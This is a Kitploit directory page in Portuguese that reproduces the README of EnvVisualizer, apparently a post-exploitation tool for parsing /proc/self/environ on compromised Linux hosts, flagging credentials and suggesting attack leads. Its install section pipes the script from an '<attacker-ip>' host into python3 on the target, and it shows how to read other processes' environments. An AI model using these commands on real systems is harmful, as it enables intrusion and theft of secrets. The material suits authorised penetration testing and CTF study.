Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EnvVisualizer — Faça o parse e visualize /proc/self/environ em máquinas Linux comprometidas — categoriza variáveis de ambiente por stack tecnológica (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) e gera insights classificados por severidade com comandos prontos a executar | Kitploit
Ferramentas/GitHubGitHub/w4r10ck423/envvisualizer
Ferramentas DefensivasAnálise de VulnerabilidadesAuditoria de ConfiguraçãoColeta de InformaçõesPós-ExploraçãoCTFTestes de PenetraçãoSegurança na NuvemDetecção de SegredosRed Teaming
GitHubw4r10ck423/envvisualizer
196há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

EnvVisualizer

Faça o parse e visualize /proc/self/environ em máquinas Linux comprometidas — categoriza variáveis de ambiente por stack tecnológica (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) e gera insights classificados por severidade com comandos prontos a executar

Ver Repositório
Compartilhar

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Analise, categorize e visualize /proc/self/environ em máquinas Linux comprometidas.
Transforme uma parede de texto de variáveis de ambiente fundidas em inteligência estruturada e codificada por cores — em segundos.


Python Platform License Context Author

Autor: @W4r10ck423


O Problema

Quando você acessa uma máquina e lê /proc/self/environ, você obtém isto:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

O EnvVisualizer transforma isso nisto:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

Com o rich instalado, cada categoria recebe sua própria tabela codificada por cores.


Recursos

  • Três modos de entrada — leia o arquivo diretamente (precisão perfeita), canalize via stdin ou cole uma string bruta
  • Parser inteligente de duas classes — lida corretamente com strings concatenadas onde os bytes nulos foram removidos por copiar e colar; detecta variáveis POSIX em maiúsculas e variáveis conhecidas com prefixo em minúsculas (npm_*, node_*, pip_*, etc.)
  • Seis categorias semânticas — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System e Other
  • Expansão de PATH — cada diretório listado como um item em vez de uma parede separada por dois-pontos
  • Detecção de segredos — sinaliza variáveis cujos nomes ou valores correspondem a padrões de credenciais (TOKEN, KEY, SECRET, PASSWORD, etc.) com um aviso ⚠
  • Painel Pentest Insights — expõe automaticamente descobertas acionáveis: contexto de root, escalação via sudo, portas do depurador Node.js expostas, scripts de ciclo de vida ativos
  • Rich ou simples — tabelas codificadas por cores com rich instalado; saída em texto simples limpa como alternativa (zero dependências necessárias)

Instalação

Opção 1 — Clonar e executar (recomendado para ambientes de pentest)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Opção 2 — Instalar como comando de sistema

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Opção 3 — Arquivo único (sem necessidade de git)

Copie envvisualizer.py para a máquina alvo ou atacante. Ele executa sem dependências:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Requisitos

DependênciaVersãoObrigatória
Python≥ 3.8Sim
rich≥ 13.0Não (alternativa em texto simples)

Uso

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Modos de entrada

MétodoComandoPrecisão
Leitura direta do arquivopython3 envvisualizer.py -f /proc/self/environ✅ Perfeita (divisão por byte nulo)
Pipe via stdincat /proc/self/environ | python3 envvisualizer.py✅ Perfeita (divisão por byte nulo)
String coladapython3 envvisualizer.py -r 'USER=dev...'✅ Boa (heurística de duas classes)
Sem argumentos (demo)python3 envvisualizer.py✅ Perfeita (próprio processo)

Dica: Prefira -f sempre que tiver acesso ao arquivo.
O delimitador de byte nulo no arquivo real é exato — nenhuma heurística necessária.


Exemplos

Ler diretamente do proc (melhor precisão)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Canalizar via stdin

cat /proc/self/environ | python3 envvisualizer.py

Colar uma string bruta (copiada de um web shell / saída de RCE)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Saída em texto simples (sem dependência do rich)

Baixar ferramenta